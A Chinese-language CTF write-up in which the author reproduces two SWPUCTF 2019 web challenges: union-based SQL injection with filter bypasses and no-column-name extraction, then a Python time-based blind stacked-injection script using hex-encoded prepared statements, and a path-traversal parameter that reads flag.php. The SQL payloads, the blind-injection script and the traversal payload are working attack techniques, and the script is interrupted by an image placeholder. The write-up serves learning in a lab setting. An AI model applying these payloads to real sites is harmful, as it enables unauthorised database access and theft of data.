从SWPU2019-WEB1&WEB4学sql注入

本来打算这几天重新从头开始学下sql注入的,毕竟hgameweek1的wp都已经写好了,题能做的都做了。但是猛然想起今年在混了下GXYCTF前还实打实的打了GWCTF跟SWPUCTF。当时GW的题做了两道web,一道php随机数漏洞一道phpmyadmin getshell,没什么含金量就没写。而且事后看其他选手就只有一个人web做了三道,其余基本都是1,2道就觉得没什么复现其他题的必要;swpu就完全相反了,web题难度对我而言有些高了,而且还有坑在里面。当时就做了三道隐写题(记得每道隐写都是zip型题目),之后没条件后也没时间复现。所以在此再次感谢buuoj给了我复现题目的机会......

有一说一,swpu题目难归难,官方wp还是很详细的。

web1(sql注入 无列名注入)

sql注入

这道题目的点在于sql注入。开始的登陆框知识幌子,注册账号登陆进去后就会发现有一个广告申请的这一操作。通常看到这种形式,基本确定是sql注入或者是xss。FUZZ一下后,可以确认是sql。
尝试简单的注入语句,发现空格被过滤了,用/**/绕过成功。
当时还FUZZ出来了报错注入的关键函数,以及常见的注释符号,关键字or也被过滤了。
因此,按照自己的第一想法,可以尝试使用最普遍的union联合查询,只是这样会面临几个问题:

1.注释被过滤带来的闭合问题
2.面对强过滤的or,后面进行注入爆出表名及列名的常规语句:union select group_concat(table_name) from information_schema.tables where table_schema=database()将存在information中的or被过滤的境地

事实上,对于第一点的闭合问题,自己在网上找到了相关bypass技巧。确切说不算技巧,应该是在sql注入中对应当先做的第一步‘复原sql查询语句’后所进行的常规判断。
由于FUZZ,时,我们在输入-1'时得到报错结果,那复原出来的语句应该是:

select * from ads where title = '$title' limit 0,1;

因此面对第一个问题,不使用过滤号,使用'(单引号)闭合单引号是水到渠成的。
那么现在就要开始fuzz字段数了......首先,发现order by的or也被过滤了,转而使用group by。好的,这道题当时最为人诟病的地方来了,那就是它居然有22个字段数!我想人手工使用语句fuzz发现这么多字段数应该是早就怀疑人生了吧?当时估计很多人都倒在这题的字段数上。
FUZZ字段:

-1'/**/group/**/by/**/22,'1

成功后接下来union select吧

-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

字段

确认了回显的是2和3对应字段。那么接下来如何解决information_schema的问题呢?这里我从官方wp中学到了bypassinformation_schema的方法参考这一篇文章
https://www.anquanke.com/post/id/193512
仔细想想,information_schema在注入中不可或缺的原因无非是因为它包含了所有其他数据库的信息,主要是table_schema,table_name.column_name等等。那么有没有具有类似功能的存在呢?文章中提供了一种解法:sys.schema_auto_increment_columns该视图的作用就是用来对表自增ID的监控。如果表中存在自增id,那么这个视图就会包含这一 表。所以我们的解法是

-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_colum ns/**/where/**/table_schema=schema()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

然后难过了,回显居然是这个表不存在?!也不知道是不是这道题在buuoj上少了啥,毕竟我用的跟官方wp是一样的......那就没办法了,只能盲猜一些常见表名,比如user,password之类的。这里就开个天眼表示是users表吧。
原来buu用的是mariadb,没有这张表。所以可以用其他的表来替代。
接下来由于不知道列名,引入一个以前自己不怎么熟悉的点:无列名注入,这里看到一篇文章讲的很准确:
https://blog.redforce.io/sqli-extracting-data-without-knowing-columns-names/
这里直接引用它的数据了:
普通的sql注入

select * from users
+----+--------------+------------------------------------------+-----------------------------+------------+---------------------+
| id | name         | password                                 | email                       | birthdate  | added               |
+----+--------------+------------------------------------------+-----------------------------+------------+---------------------+
|  1 | alias        | a45d4e080fc185dfa223aea3d0c371b6cc180a37 | [email protected]      | 1981-05-03 | 1993-03-20 14:03:14 |
|  2 | accusamus    | 114fec39a7c9567e8250409d467fed64389a7bee | [email protected]   | 1979-10-28 | 2007-01-20 18:38:29 |
|  3 | dolor        | 7f796c9e61c32a5ec3c85fed794c00eee2381d73 | [email protected]        | 2005-11-16 | 1992-02-16 04:19:05 |
|  4 | et           | aaaf2b311a1cd97485be716a896f9c09aff55b96 | [email protected]          | 2015-07-22 | 2014-03-05 22:57:18 |
|  5 | voluptatibus | da16b4d9661c56bb448899d7b6d30060da014446 | [email protected] | 1991-11-22 | 2005-12-04 20:38:41 |
+----+--------------+------------------------------------------+-----------------------------+------------+---------------------+
5 rows in set (0.00 sec)
select 1,2,3,4,5 ,6union select * from users
+---+--------------+------------------------------------------+-----------------------------+------------+---------------------+
| 1 | 2            | 3                                        | 4                           | 5          | 6                   |
+---+--------------+------------------------------------------+-----------------------------+------------+---------------------+
| 1 | 2            | 3                                        | 4                           | 5          | 6                   |
| 1 | alias        | a45d4e080fc185dfa223aea3d0c371b6cc180a37 | [email protected]      | 1981-05-03 | 1993-03-20 14:03:14 |
| 2 | accusamus    | 114fec39a7c9567e8250409d467fed64389a7bee | [email protected]   | 1979-10-28 | 2007-01-20 18:38:29 |
| 3 | dolor        | 7f796c9e61c32a5ec3c85fed794c00eee2381d73 | [email protected]        | 2005-11-16 | 1992-02-16 04:19:05 |
| 4 | et           | aaaf2b311a1cd97485be716a896f9c09aff55b96 | [email protected]          | 2015-07-22 | 2014-03-05 22:57:18 |
| 5 | voluptatibus | da16b4d9661c56bb448899d7b6d30060da014446 | [email protected] | 1991-11-22 | 2005-12-04 20:38:41 |
+---+--------------+------------------------------------------+-----------------------------+------------+---------------------+
6 rows in set (0.00 sec)

这时若要引用,使用反引号:

 select `4` from (select 1,2,3,4,5,6 union select * from users)a;

则会单独拿到第四列

+-----------------------------+
| 4                           |
+-----------------------------+
| 4                           |
| [email protected]      |
| [email protected]   |
| [email protected]        |
| [email protected]          |
| [email protected] |
+-----------------------------+
6 rows in set (0.00 sec)

如果反引号被过滤了,也有其他方法。

select b from (select 1,2,3 as b,4,5 union select * from users)a;
+-----------------------------+
| b                           |
+-----------------------------+
| 4                           |
| [email protected]      |
| [email protected]   |
| [email protected]        |
| [email protected]          |
| [email protected] |
+-----------------------------+
6 rows in set (0.00 sec)

回到题目,不难得出最终payload:

-1'union/**/select/**/1, (select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22 
-1'union/**/select/**/1, (select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22 

web4

昨天晚上写了写web1,折腾的够呛。今天在复现web4时也挺难受的,所幸最后还是做出来了。


登录框

题目所给def注册功能并没有开放,而登录键点了也没有反应。抓包的话会有新发现:
注入

如果只有单引号的话,会报错。但是如果输入结果除了单引号还有分号的话,返回的仍是202。这代表了什么呢?首先可以确认是注入,同时还可以大致判断是堆叠注入。
关于堆叠注入我并没有什么了解。于是去搜索了下,发现这几年开始有堆叠注入的ctf题在各大赛事中出现。其特点无非是:限制了常用的select,update等等关键语句。但是却没有限制你的分号使用,也就是说,我们可以一次执行多条sql语句。而如果适当搭配,一样可以起到注入的效果。

根据官方的说法,这是属于PDO场景下的sql注入,出题人给的方法就是用16进制加mysql预处理来解决。其payload大致格式如下:

set @a=0x{0};PREPARE ctftest from @a;execute ctftest;

前面的@a即为我们所需的注入语句的16进制变量,后面PREPARE ctftest from @a;execute ctftest;两句起到了定义并执行预处理语句的作用
那么盲注脚本如下:

import requests

url="http://094a7801-436a-4a50-9b73-ea921af6361c.node3.buuoj.cn/index.php?r=Login/Login"

flag=""
def str_to_hex(s):
    return ''.join([hex(ord(c)).replace('0x', '') for c in s])

for i in range(1,40):
    print(i)
    for str1 in "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_,!@#$%^&*``.":
        sql = "select if((ascii(substr((select group_concat(flag) from flag),"+str(i)+",1))='"+str(ord(str1))+"'),sleep(6),2);"   # ctf
        sql_hex = str_to_hex(sql)
        data={
            "username":"1\';SET @a=0x"+str(sql_hex)+";PREPARE st FROM @a;EXECUTE st;",
            "password":"123"
        }
        try:
            result=requests.post(url,json=data,timeout=6)
        except requests.exceptions.ReadTimeout:
[图片上传中...(捕获1.PNG-4fc6b-1579497780763-0)]
            print(flag)
            break
print(flag)
#glzjinwantsaliendzip
#glzjinnts_a_girl_friendzip
#glzjinwantsgirliendzip
#glzjin_wants_a_girl_friend.zip

这里可能由于buuoj的问题吧,访问过快直接429,导致每次跑出的结果都不一样。最后汇总下才推断出来是glzjin_wants_a_girl_friend.zip。(这里直接select flag from flag了,实在不想又去爆表爆列了。。)
拿到源码,审计不提了。直接说出题人思路吧:


审计

利用

发现会读取img_file内容并以base64输出。那么只要img_file包含flag.php就好了。
payload:

?r=User/Index&img_file=/../flag.php

即可从源码处解码拿到flag


flag

你可能感兴趣的:(从SWPU2019-WEB1&WEB4学sql注入)